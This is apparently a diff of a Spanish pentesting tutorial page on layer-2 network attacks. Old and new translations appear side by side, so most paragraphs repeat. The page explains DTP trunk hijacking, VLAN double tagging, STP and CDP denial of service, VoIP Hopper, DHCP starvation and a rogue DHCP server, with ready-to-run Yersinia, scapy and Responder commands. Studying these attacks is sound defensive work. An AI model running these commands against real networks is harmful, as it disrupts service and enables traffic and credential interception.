#### Troncal Dinámica #### Dynamic Trunking
El **Protocolo de Troncal Dinámica (DTP)** está diseñado como un protocolo de capa de enlace para facilitar un sistema automático de troncal, permitiendo que los switches seleccionen automáticamente puertos para el modo troncal (Trunk) o modo no troncal. La implementación de **DTP** a menudo se considera indicativa de un diseño de red subóptimo, subrayando la importancia de configurar manualmente troncales solo donde sea necesario y garantizar una documentación adecuada. El **Dynamic Trunking Protocol (DTP)** está diseñado como un protocolo de capa de enlace para facilitar un sistema automático de trunking, permitiendo que los conmutadores seleccionen automáticamente puertos para el modo trunk (Trunk) o modo no trunk. La implementación de **DTP** a menudo se considera indicativa de un diseño de red subóptimo, subrayando la importancia de configurar manualmente los trunks solo donde sea necesario y asegurando una documentación adecuada.
Por defecto, los puertos de switch están configurados para operar en modo Automático Dinámico, lo que significa que están listos para iniciar el troncal si son solicitados por un switch vecino. Surge una preocupación de seguridad cuando un pentester o atacante se conecta al switch y envía un marco DTP Deseable, obligando al puerto a entrar en modo troncal. Esta acción permite al atacante enumerar VLAN a través del análisis de marcos STP y eludir la segmentación de VLAN configurando interfaces virtuales. Por defecto, los puertos de los conmutadores están configurados para operar en modo Dynamic Auto, lo que significa que están listos para iniciar el trunking si son solicitados por un conmutador vecino. Surge una preocupación de seguridad cuando un pentester o atacante se conecta al conmutador y envía un marco DTP Desirable, obligando al puerto a entrar en modo trunk. Esta acción permite al atacante enumerar VLANs a través del análisis de marcos STP y eludir la segmentación de VLAN configurando interfaces virtuales.
La presencia de DTP en muchos switches de forma predeterminada puede ser explotada por adversarios para imitar el comportamiento de un switch, obteniendo así acceso al tráfico en todas las VLAN. El script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) se utiliza para monitorear una interfaz, revelando si un switch está en modo Predeterminado, Troncal, Dinámico, Automático o de Acceso, siendo este último la única configuración inmune a los ataques de salto de VLAN. Esta herramienta evalúa el estado de vulnerabilidad del switch. La presencia de DTP en muchos conmutadores por defecto puede ser explotada por adversarios para imitar el comportamiento de un conmutador, obteniendo así acceso al tráfico a través de todas las VLANs. El script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) se utiliza para monitorear una interfaz, revelando si un conmutador está en modo Default, Trunk, Dynamic, Auto o Access—siendo este último la única configuración inmune a ataques de VLAN hopping. Esta herramienta evalúa el estado de vulnerabilidad del conmutador.
Si se identifica una vulnerabilidad de red, la herramienta _**Yersinia**_ puede ser utilizada para "habilitar el troncal" a través del protocolo DTP, permitiendo la observación de paquetes de todas las VLAN. Si se identifica una vulnerabilidad en la red, se puede emplear la herramienta _**Yersinia**_ para "habilitar el trunking" a través del protocolo DTP, permitiendo la observación de paquetes de todas las VLANs.
```bash ```bash
apt-get install yersinia #Installation apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali sudo apt install kali-linux-large #Another way to install it in Kali
@ -288,20 +291,20 @@ yersinia -G #For graphic mode
``` ```
![](<../../.gitbook/assets/image (269).png>) ![](<../../.gitbook/assets/image (269).png>)
Para enumerar las VLANs también es posible generar el marco DTP Desirable con el script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. No** interrumpas el script bajo ninguna circunstancia. Inyecta DTP Desirable cada tres segundos. **Los canales de troncales creados dinámicamente en el switch solo permanecen activos durante cinco minutos. Después de cinco minutos, la troncal se desconecta.** Para enumerar las VLANs, también es posible generar el marco DTP Desirable con el script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. No interrumpa el script bajo ninguna circunstancia. Inyecta DTP Desirable cada tres segundos. **Los canales de trunk creados dinámicamente en el switch solo viven durante cinco minutos. Después de cinco minutos, el trunk se desconecta.**
``` ```
sudo python3 DTPHijacking.py --interface eth0 sudo python3 DTPHijacking.py --interface eth0
``` ```
Me gustaría señalar que **Acceso/Deseable (0x03)** indica que el marco DTP es del tipo Deseable, lo que indica al puerto que cambie a modo Troncal. Y **802.1Q/802.1Q (0xa5)** indica el tipo de encapsulación **802.1Q**. Quisiera señalar que **Access/Desirable (0x03)** indica que el marco DTP es del tipo Desirable, lo que le dice al puerto que cambie al modo Trunk. Y **802.1Q/802.1Q (0xa5)** indica el tipo de encapsulación **802.1Q**.
Al analizar los marcos STP, **aprendemos sobre la existencia de VLAN 30 y VLAN 60**. Al analizar los marcos STP, **aprendemos sobre la existencia de VLAN 30 y VLAN 60.**
<figure><img src="../../.gitbook/assets/image (124).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (124).png" alt=""><figcaption></figcaption></figure>
#### Atacando VLANs específicas #### Atacando VLANs específicas
Una vez que conozcas los valores de las ID de VLAN e IPs, puedes **configurar una interfaz virtual para atacar una VLAN específica**.\ Una vez que conozcas los IDs de VLAN y los valores de IP, puedes **configurar una interfaz virtual para atacar una VLAN específica**.\
Si DHCP no está disponible, entonces usa _ifconfig_ para configurar una dirección IP estática. Si DHCP no está disponible, entonces usa _ifconfig_ para establecer una dirección IP estática.
``` ```
root@kali:~# modprobe 8021q root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250 root@kali:~# vconfig add eth1 250
@ -334,81 +337,83 @@ sudo vconfig add eth0 30
sudo ip link set eth0.30 up sudo ip link set eth0.30 up
sudo dhclient -v eth0.30 sudo dhclient -v eth0.30
``` ```
#### Saltador automático de VLAN #### Automatic VLAN Hopper
El ataque discutido de **Troncal Dinámica y creación de interfaces virtuales para descubrir hosts dentro** de otras VLAN se **realiza automáticamente** con la herramienta: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) El ataque discutido de **Dynamic Trunking y la creación de interfaces virtuales para descubrir hosts dentro** de otras VLANs se **realiza automáticamente** con la herramienta: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
#### Doble Etiquetado #### Double Tagging
Si un atacante conoce el valor de la **MAC, IP y ID de VLAN del host víctima**, podría intentar **etiquetar dos veces un trama** con su VLAN designada y la VLAN de la víctima y enviar un paquete. Dado que la **víctima no podrá conectarse de vuelta** con el atacante, la **mejor opción para el atacante es comunicarse a través de UDP** con protocolos que puedan realizar algunas acciones interesantes (como SNMP). Si un atacante conoce el valor del **MAC, IP y VLAN ID del host víctima**, podría intentar **doble etiquetar un marco** con su VLAN designada y la VLAN de la víctima y enviar un paquete. Como la **víctima no podrá conectarse de vuelta** con el atacante, la **mejor opción para el atacante es comunicarse a través de UDP** a protocolos que pueden realizar algunas acciones interesantes (como SNMP).
Otra opción para el atacante es lanzar un **escaneo de puertos TCP suplantando una IP controlada por el atacante y accesible por la víctima** (probablemente a través de internet). Luego, el atacante podría espiar en el segundo host de su propiedad si recibe algunos paquetes de la víctima. Otra opción para el atacante es lanzar un **escaneo de puertos TCP suplantando una IP controlada por el atacante y accesible por la víctima** (probablemente a través de internet). Luego, el atacante podría espiar en el segundo host de su propiedad si recibe algunos paquetes de la víctima.
![](<../../.gitbook/assets/image (190).png>) ![](<../../.gitbook/assets/image (190).png>)
Para realizar este ataque, se puede utilizar scapy: `pip install scapy` Para realizar este ataque, podrías usar scapy: `pip install scapy`
```python ```python
from scapy.all import * from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker) # Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP() packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet) sendp(packet)
``` ```
#### Bypass de Segmentación Lateral de VLAN <a href="#d679" id="d679"></a> #### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
Si tienes **acceso a un switch al que estás conectado directamente**, tienes la capacidad de **burlar la segmentación de VLAN** dentro de la red. Simplemente **cambia el puerto a modo troncal** (también conocido como trunk), crea interfaces virtuales con los IDs de las VLANs objetivo y configura una dirección IP. Puedes intentar solicitar la dirección de forma dinámica (DHCP) o configurarla estáticamente. Depende del caso. Si tienes **acceso a un switch al que estás conectado directamente**, tienes la capacidad de **eludir la segmentación VLAN** dentro de la red. Simplemente **cambia el puerto a modo trunk** (también conocido como trunk), crea interfaces virtuales con los IDs de las VLANs objetivo y configura una dirección IP. Puedes intentar solicitar la dirección dinámicamente (DHCP) o puedes configurarla estáticamente. Depende del caso.
{% content-ref url="lateral-vlan-segmentation-bypass.md" %} {% content-ref url="lateral-vlan-segmentation-bypass.md" %}
[lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md) [lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md)
{% endcontent-ref %} {% endcontent-ref %}
#### Bypass de VLAN Privada de Capa 3 #### Layer 3 Private VLAN Bypass
En ciertos entornos, como redes inalámbricas para invitados, se implementan configuraciones de **aislamiento de puerto (también conocido como VLAN privada)** para evitar que los clientes conectados a un punto de acceso inalámbrico se comuniquen directamente entre sí. Sin embargo, se ha identificado una técnica que puede eludir estas medidas de aislamiento. Esta técnica explota la falta de ACLs de red o su configuración incorrecta, lo que permite que los paquetes IP se enrutan a través de un enrutador para llegar a otro cliente en la misma red. En ciertos entornos, como redes inalámbricas para invitados, se implementan configuraciones de **aislamiento de puertos (también conocido como VLAN privada)** para evitar que los clientes conectados a un punto de acceso inalámbrico se comuniquen directamente entre sí. Sin embargo, se ha identificado una técnica que puede eludir estas medidas de aislamiento. Esta técnica explota la falta de ACLs de red o su configuración incorrecta, permitiendo que los paquetes IP sean enrutados a través de un router para alcanzar a otro cliente en la misma red.
El ataque se ejecuta creando un **paquete que lleva la dirección IP del cliente de destino pero con la dirección MAC del enrutador**. Esto hace que el enrutador reenvíe erróneamente el paquete al cliente objetivo. Este enfoque es similar al utilizado en los Ataques de Doble Etiquetado, donde la capacidad de controlar un host accesible para la víctima se utiliza para explotar la falla de seguridad. El ataque se ejecuta creando un **paquete que lleva la dirección IP del cliente de destino pero con la dirección MAC del router**. Esto provoca que el router reenvíe erróneamente el paquete al cliente objetivo. Este enfoque es similar al utilizado en los Ataques de Doble Etiquetado, donde se utiliza la capacidad de controlar un host accesible para la víctima para explotar la vulnerabilidad de seguridad.
**Pasos Clave del Ataque:** **Pasos Clave del Ataque:**
1. **Creación de un Paquete:** Se crea un paquete especialmente diseñado para incluir la dirección IP del cliente objetivo pero con la dirección MAC del enrutador. 1. **Creación de un Paquete:** Se crea un paquete especialmente diseñado para incluir la dirección IP del cliente objetivo pero con la dirección MAC del router.
2. **Explotación del Comportamiento del Enrutador:** El paquete creado se envía al enrutador, que, debido a la configuración, redirige el paquete al cliente objetivo, eludiendo el aislamiento proporcionado por la configuración de VLAN privada. 2. **Explotación del Comportamiento del Router:** El paquete creado se envía al router, que, debido a la configuración, redirige el paquete al cliente objetivo, eludiendo el aislamiento proporcionado por las configuraciones de VLAN privada.
### Ataques VTP ### VTP Attacks
VTP (Protocolo de Troncalización de VLAN) centraliza la gestión de VLAN. Utiliza números de revisión para mantener la integridad de la base de datos de VLAN; cualquier modificación incrementa este número. Los switches adoptan configuraciones con números de revisión más altos, actualizando sus propias bases de datos de VLAN. VTP (VLAN Trunking Protocol) centraliza la gestión de VLAN. Utiliza números de revisión para mantener la integridad de la base de datos de VLAN; cualquier modificación incrementa este número. Los switches adoptan configuraciones con números de revisión más altos, actualizando sus propias bases de datos de VLAN.
#### Roles del Dominio VTP #### VTP Domain Roles
* **Servidor VTP:** Gestiona las VLAN: crea, elimina, modifica. Difunde anuncios VTP a los miembros del dominio. * **VTP Server:** Gestiona VLANs—crea, elimina, modifica. Transmite anuncios de VTP a los miembros del dominio.
* **Cliente VTP:** Recibe anuncios VTP para sincronizar su base de datos de VLAN. Este rol está restringido de realizar modificaciones locales en la configuración de VLAN. * **VTP Client:** Recibe anuncios de VTP para sincronizar su base de datos de VLAN. Este rol está restringido de modificaciones locales de configuración de VLAN.
* **Transparente VTP:** No participa en actualizaciones VTP pero reenvía anuncios VTP. No se ve afectado por ataques VTP, mantiene un número de revisión constante de cero. * **VTP Transparent:** No participa en actualizaciones de VTP pero reenvía anuncios de VTP. No se ve afectado por ataques de VTP, mantiene un número de revisión constante de cero.
#### Tipos de Anuncios VTP #### VTP Advertisement Types
* **Anuncio Resumido:** Difundido por el servidor VTP cada 300 segundos, llevando información esencial del dominio. * **Summary Advertisement:** Transmitido por el servidor VTP cada 300 segundos, llevando información esencial del dominio.
* **Anuncio de Subconjunto:** Enviado después de cambios en la configuración de VLAN. * **Subset Advertisement:** Enviado tras cambios en la configuración de VLAN.
* **Solicitud de Anuncio:** Emitida por un cliente VTP para solicitar un Anuncio Resumido, típicamente en respuesta a detectar un número de revisión de configuración más alto. * **Advertisement Request:** Emitido por un cliente VTP para solicitar un Summary Advertisement, típicamente en respuesta a la detección de un número de revisión de configuración más alto.
Las vulnerabilidades de VTP son explotables exclusivamente a través de puertos troncales ya que los anuncios VTP circulan únicamente a través de ellos. Los escenarios de ataque posteriores a DTP pueden dirigirse hacia VTP. Herramientas como Yersinia pueden facilitar los ataques VTP, con el objetivo de eliminar la base de datos de VLAN, interrumpiendo efectivamente la red. Las vulnerabilidades de VTP son explotables exclusivamente a través de puertos trunk, ya que los anuncios de VTP circulan únicamente a través de ellos. Los escenarios posteriores a un ataque DTP podrían pivotar hacia VTP. Herramientas como Yersinia pueden facilitar ataques de VTP, con el objetivo de eliminar la base de datos de VLAN, interrumpiendo efectivamente la red.
Nota: Esta discusión se refiere a la versión 1 de VTP (VTPv1). Nota: Esta discusión se refiere a la versión 1 de VTP (VTPv1).
````bash ````bash
%% yersinia -G # Launch Yersinia in graphical mode ``` %% yersinia -G # Launch Yersinia in graphical mode ```
```` ````
En el modo gráfico de Yersinia, elige la opción de eliminar todas las VLAN de VTP para purgar la base de datos de VLAN.
### Ataques STP ### Ataques STP
**Si no puedes capturar tramas BPDU en tus interfaces, es poco probable que tengas éxito en un ataque STP.** **Si no puedes capturar tramas BPDU en tus interfaces, es poco probable que tengas éxito en un ataque STP.**
#### **DoS de BPDU STP** #### **STP BPDU DoS**
Al enviar una gran cantidad de BPDUs TCP (Notificación de Cambio de Topología) o Conf (los BPDUs que se envían cuando se crea la topología), los switches se sobrecargan y dejan de funcionar correctamente. Enviando una gran cantidad de BPDUs TCP (Notificación de Cambio de Topología) o Conf (las BPDUs que se envían cuando se crea la topología), los switches se sobrecargan y dejan de funcionar correctamente.
```bash ```bash
yersinia stp -attack 2 yersinia stp -attack 2
yersinia stp -attack 3 yersinia stp -attack 3
#Use -M to disable MAC spoofing #Use -M to disable MAC spoofing
``` ```
#### **Ataque TCP STP** #### **Ataque STP TCP**
Cuando se envía un TCP, la tabla CAM de los switches se eliminará en 15 segundos. Entonces, si estás enviando continuamente este tipo de paquetes, la tabla CAM se reiniciará continuamente (o cada 15 segundos) y cuando se reinicie, el switch se comportará como un concentrador. Cuando se envía un TCP, la tabla CAM de los switches se eliminará en 15s. Luego, si estás enviando continuamente este tipo de paquetes, la tabla CAM se reiniciará continuamente (o cada 15 segundos) y cuando se reinicia, el switch se comporta como un hub.
```bash ```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
@ -416,7 +421,7 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
#### **Ataque de Raíz STP** #### **Ataque de Raíz STP**
El atacante simula el comportamiento de un switch para convertirse en la raíz STP de la red. Luego, más datos pasarán a través de él. Esto es interesante cuando estás conectado a dos switches diferentes.\ El atacante simula el comportamiento de un switch para convertirse en la raíz STP de la red. Luego, más datos pasarán a través de él. Esto es interesante cuando estás conectado a dos switches diferentes.\
Esto se logra enviando paquetes CONF de BPDUs diciendo que el valor de **prioridad** es menor que la prioridad real del switch raíz actual. Esto se hace enviando paquetes BPDUs CONF que dicen que el valor de **prioridad** es menor que la prioridad real del switch raíz actual.
```bash ```bash
yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
@ -426,55 +431,55 @@ yersinia stp -attack 5 #This will make the device behaves as a switch but will n
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
``` ```
### Ataques CDP ### CDP Attacks
El Protocolo de Descubrimiento CISCO (CDP) es esencial para la comunicación entre dispositivos CISCO, permitiéndoles **identificarse mutuamente y compartir detalles de configuración**. CISCO Discovery Protocol (CDP) es esencial para la comunicación entre dispositivos CISCO, permitiéndoles **identificarse entre y compartir detalles de configuración**.
#### Recolección Pasiva de Datos <a href="#id-0e0f" id="id-0e0f"></a> #### Passive Data Collection <a href="#id-0e0f" id="id-0e0f"></a>
CDP está configurado para transmitir información a través de todos los puertos, lo que podría llevar a un riesgo de seguridad. Un atacante, al conectarse a un puerto de switch, podría desplegar sniffers de red como **Wireshark**, **tcpdump** o **Yersinia**. Esta acción puede revelar datos sensibles sobre el dispositivo de red, incluyendo su modelo y la versión de Cisco IOS que ejecuta. El atacante podría entonces apuntar a vulnerabilidades específicas en la versión identificada de Cisco IOS. CDP está configurado para transmitir información a través de todos los puertos, lo que podría llevar a un riesgo de seguridad. Un atacante, al conectarse a un puerto de switch, podría desplegar sniffers de red como **Wireshark**, **tcpdump** o **Yersinia**. Esta acción puede revelar datos sensibles sobre el dispositivo de red, incluyendo su modelo y la versión de Cisco IOS que ejecuta. El atacante podría entonces apuntar a vulnerabilidades específicas en la versión de Cisco IOS identificada.
#### Induciendo el Desbordamiento de la Tabla CDP <a href="#id-0d6a" id="id-0d6a"></a> #### Inducing CDP Table Flooding <a href="#id-0d6a" id="id-0d6a"></a>
Un enfoque más agresivo implica lanzar un ataque de Denegación de Servicio (DoS) abrumando la memoria del switch, haciéndose pasar por dispositivos CISCO legítimos. A continuación se muestra la secuencia de comandos para iniciar dicho ataque usando Yersinia, una herramienta de red diseñada para pruebas: Un enfoque más agresivo implica lanzar un ataque de Denial of Service (DoS) al abrumar la memoria del switch, pretendiendo ser dispositivos CISCO legítimos. A continuación se muestra la secuencia de comandos para iniciar tal ataque utilizando Yersinia, una herramienta de red diseñada para pruebas:
```bash ```bash
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach: # Alternatively, for a GUI approach:
sudo yersinia -G sudo yersinia -G
``` ```
Durante este ataque, la CPU del switch y la tabla de vecinos CDP se ven fuertemente sobrecargadas, lo que conduce a lo que a menudo se denomina **"parálisis de red"** debido al consumo excesivo de recursos. Durante este ataque, la CPU del switch y la tabla de vecinos CDP están muy sobrecargadas, lo que lleva a lo que a menudo se denomina **“parálisis de red”** debido al consumo excesivo de recursos.
#### Ataque de Suplantación de CDP #### Ataque de suplantación de CDP
```bash ```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet sudo yersinia cdp -attack 0 #Send a CDP packet
``` ```
También puedes usar [**scapy**](https://github.com/secdev/scapy/). Asegúrate de instalarlo con el paquete `scapy/contrib`. Podrías también usar [**scapy**](https://github.com/secdev/scapy/). Asegúrate de instalarlo con el paquete `scapy/contrib`.
### Ataques VoIP y la Herramienta VoIP Hopper ### Ataques VoIP y la herramienta VoIP Hopper
Los teléfonos VoIP, cada vez más integrados con dispositivos IoT, ofrecen funcionalidades como desbloquear puertas o controlar termostatos a través de números de teléfono especiales. Sin embargo, esta integración puede plantear riesgos de seguridad. Los teléfonos VoIP, cada vez más integrados con dispositivos IoT, ofrecen funcionalidades como desbloquear puertas o controlar termostatos a través de números de teléfono especiales. Sin embargo, esta integración puede presentar riesgos de seguridad.
La herramienta [**voiphopper**](http://voiphopper.sourceforge.net) está diseñada para emular un teléfono VoIP en varios entornos (Cisco, Avaya, Nortel, Alcatel-Lucent). Descubre el ID de VLAN de la red de voz utilizando protocolos como CDP, DHCP, LLDP-MED y 802.1Q ARP. La herramienta [**voiphopper**](http://voiphopper.sourceforge.net) está diseñada para emular un teléfono VoIP en varios entornos (Cisco, Avaya, Nortel, Alcatel-Lucent). Descubre el ID de VLAN de la red de voz utilizando protocolos como CDP, DHCP, LLDP-MED y 802.1Q ARP.
**VoIP Hopper** ofrece tres modos para el Protocolo de Descubrimiento de Cisco (CDP): **VoIP Hopper** ofrece tres modos para el Protocolo de Descubrimiento de Cisco (CDP):
1. **Modo de Sniff** (`-c 0`): Analiza paquetes de red para identificar el ID de VLAN. 1. **Modo Sniff** (`-c 0`): Analiza paquetes de red para identificar el ID de VLAN.
2. **Modo de Spoof** (`-c 1`): Genera paquetes personalizados imitando los de un dispositivo VoIP real. 2. **Modo Spoof** (`-c 1`): Genera paquetes personalizados que imitan los de un dispositivo VoIP real.
3. **Modo de Spoof con Paquete Predefinido** (`-c 2`): Envía paquetes idénticos a los de un modelo de teléfono IP Cisco específico. 3. **Modo Spoof con Paquete Pre-hecho** (`-c 2`): Envía paquetes idénticos a los de un modelo específico de teléfono IP Cisco.
El modo preferido por velocidad es el tercero. Requiere especificar: El modo preferido para velocidad es el tercero. Requiere especificar:
* La interfaz de red del atacante (parámetro `-i`). * La interfaz de red del atacante (`-i` parámetro).
* El nombre del dispositivo VoIP que se está emulando (parámetro `-E`), siguiendo el formato de nomenclatura de Cisco (por ejemplo, SEP seguido de una dirección MAC). * El nombre del dispositivo VoIP que se está emulando (`-E` parámetro), siguiendo el formato de nomenclatura de Cisco (por ejemplo, SEP seguido de una dirección MAC).
En entornos corporativos, para imitar un dispositivo VoIP existente, uno podría: En entornos corporativos, para imitar un dispositivo VoIP existente, uno podría:
* Inspeccionar la etiqueta MAC en el teléfono. * Inspeccionar la etiqueta MAC en el teléfono.
* Navegar por la configuración de la pantalla del teléfono para ver la información del modelo. * Navegar por la configuración de pantalla del teléfono para ver la información del modelo.
* Conectar el dispositivo VoIP a una computadora portátil y observar las solicitudes CDP utilizando Wireshark. * Conectar el dispositivo VoIP a una laptop y observar las solicitudes CDP usando Wireshark.
Un ejemplo de comando para ejecutar la herramienta en el tercer modo sería: Un comando de ejemplo para ejecutar la herramienta en el tercer modo sería:
```bash ```bash
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
``` ```
@ -500,57 +505,57 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
``` ```
**DoS** **DoS**
Se pueden realizar **dos tipos de DoS** contra servidores DHCP. El primero consiste en **simular suficientes hosts falsos para utilizar todas las direcciones IP posibles**.\ **Se pueden realizar dos tipos de DoS** contra servidores DHCP. El primero consiste en **simular suficientes hosts falsos para usar todas las direcciones IP posibles**.\
Este ataque solo funcionará si puedes ver las respuestas del servidor DHCP y completar el protocolo (**Descubrir** (Comp) --> **Ofrecer** (servidor) --> **Solicitud** (Comp) --> **ACK** (servidor)). Por ejemplo, esto **no es posible en redes Wifi**. Este ataque solo funcionará si puedes ver las respuestas del servidor DHCP y completar el protocolo (**Discover** (Comp) --> **Offer** (servidor) --> **Request** (Comp) --> **ACK** (servidor)). Por ejemplo, esto **no es posible en redes Wifi**.
Otra forma de realizar un DoS de DHCP es enviar un **paquete DHCP-RELEASE utilizando como código fuente todas las IP posibles**. Entonces, el servidor pensará que todos han terminado de usar la IP. Otra forma de realizar un DoS de DHCP es enviar un **paquete DHCP-RELEASE utilizando como código fuente cada IP posible**. Entonces, el servidor pensará que todos han terminado de usar la IP.
```bash ```bash
yersinia dhcp -attack 1 yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed yersinia dhcp -attack 3 #More parameters are needed
``` ```
Una forma más automática de hacer esto es usando la herramienta [DHCPing](https://github.com/kamorin/DHCPig) Una forma más automática de hacer esto es utilizando la herramienta [DHCPing](https://github.com/kamorin/DHCPig)
Podrías utilizar los ataques de denegación de servicio mencionados para forzar a los clientes a obtener nuevas concesiones dentro del entorno, y agotar los servidores legítimos para que se vuelvan no responsivos. Así, cuando los legítimos intenten reconectarse, **puedes servir valores maliciosos mencionados en el siguiente ataque**. Podrías usar los ataques DoS mencionados para forzar a los clientes a obtener nuevos arrendamientos dentro del entorno y agotar los servidores legítimos para que se vuelvan inoperantes. Así que cuando los legítimos intenten reconectarse, **puedes servir valores maliciosos mencionados en el siguiente ataque**.
#### Establecer valores maliciosos #### Establecer valores maliciosos
Se puede configurar un servidor DHCP falso utilizando el script DHCP ubicado en `/usr/share/responder/DHCP.py`. Esto es útil para ataques de red, como capturar tráfico HTTP y credenciales, redirigiendo el tráfico a un servidor malicioso. Sin embargo, establecer un gateway falso es menos efectivo ya que solo permite capturar el tráfico saliente del cliente, perdiendo las respuestas del gateway real. En su lugar, se recomienda configurar un servidor DNS o WPAD falso para un ataque más efectivo. Se puede configurar un servidor DHCP malicioso utilizando el script DHCP ubicado en `/usr/share/responder/DHCP.py`. Esto es útil para ataques de red, como capturar tráfico HTTP y credenciales, redirigiendo el tráfico a un servidor malicioso. Sin embargo, establecer una puerta de enlace maliciosa es menos efectivo ya que solo permite capturar tráfico saliente del cliente, perdiendo las respuestas de la puerta de enlace real. En su lugar, se recomienda configurar un servidor DNS o WPAD malicioso para un ataque más efectivo.
A continuación se muestran las opciones de comando para configurar el servidor DHCP falso: A continuación se presentan las opciones de comando para configurar el servidor DHCP malicioso:
* **Nuestra Dirección IP (Anuncio de Gateway)**: Usa `-i 10.0.0.100` para anunciar la IP de tu máquina como el gateway. * **Nuestra dirección IP (Anuncio de puerta de enlace)**: Usa `-i 10.0.0.100` para anunciar la IP de tu máquina como la puerta de enlace.
* **Nombre de Dominio DNS Local**: Opcionalmente, usa `-d example.org` para establecer un nombre de dominio DNS local. * **Nombre de dominio DNS local**: Opcionalmente, usa `-d example.org` para establecer un nombre de dominio DNS local.
* **IP del Router/Gateway Original**: Usa `-r 10.0.0.1` para especificar la dirección IP del router o gateway legítimo. * **IP del router/puerta de enlace original**: Usa `-r 10.0.0.1` para especificar la dirección IP del router o puerta de enlace legítima.
* **IP del Servidor DNS Primario**: Usa `-p 10.0.0.100` para establecer la dirección IP del servidor DNS falso que controlas. * **IP del servidor DNS primario**: Usa `-p 10.0.0.100` para establecer la dirección IP del servidor DNS malicioso que controlas.
* **IP del Servidor DNS Secundario**: Opcionalmente, usa `-s 10.0.0.1` para establecer una IP de servidor DNS secundario. * **IP del servidor DNS secundario**: Opcionalmente, usa `-s 10.0.0.1` para establecer una IP de servidor DNS secundario.
* **Máscara de Red Local**: Usa `-n 255.255.255.0` para definir la máscara de red para la red local. * **Máscara de red local**: Usa `-n 255.255.255.0` para definir la máscara de red para la red local.
* **Interfaz para Tráfico DHCP**: Usa `-I eth1` para escuchar el tráfico DHCP en una interfaz de red específica. * **Interfaz para tráfico DHCP**: Usa `-I eth1` para escuchar tráfico DHCP en una interfaz de red específica.
* **Dirección de Configuración WPAD**: Usa `-w “http://10.0.0.100/wpad.dat”` para establecer la dirección de configuración WPAD, ayudando en la interceptación del tráfico web. * **Dirección de configuración WPAD**: Usa `-w “http://10.0.0.100/wpad.dat”` para establecer la dirección para la configuración WPAD, ayudando en la interceptación de tráfico web.
* **Suplantar la IP del Gateway Predeterminado**: Incluye `-S` para suplantar la dirección IP del gateway predeterminado. * **Suplantar la IP de la puerta de enlace predeterminada**: Incluye `-S` para suplantar la dirección IP de la puerta de enlace predeterminada.
* **Responder a Todas las Solicitudes DHCP**: Incluye `-R` para hacer que el servidor responda a todas las solicitudes DHCP, pero ten en cuenta que esto es ruidoso y puede ser detectado. * **Responder a todas las solicitudes DHCP**: Incluye `-R` para hacer que el servidor responda a todas las solicitudes DHCP, pero ten en cuenta que esto es ruidoso y puede ser detectado.
Al utilizar correctamente estas opciones, se puede establecer un servidor DHCP falso para interceptar el tráfico de red de manera efectiva. Al usar correctamente estas opciones, se puede establecer un servidor DHCP malicioso para interceptar el tráfico de red de manera efectiva.
```python ```python
# Example to start a rogue DHCP server with specified options # Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
``` ```
### **Ataques EAP** ### **Ataques EAP**
Aquí hay algunas tácticas de ataque que se pueden utilizar contra implementaciones 802.1X: Aquí hay algunas de las tácticas de ataque que se pueden utilizar contra implementaciones de 802.1X:
* Molienda activa de contraseñas por fuerza bruta a través de EAP * Fuerza bruta activa de contraseñas a través de EAP
* Atacar el servidor RADIUS con contenido EAP malformado _\*\*_(exploits) * Ataque al servidor RADIUS con contenido EAP malformado _\*\*_(exploits)
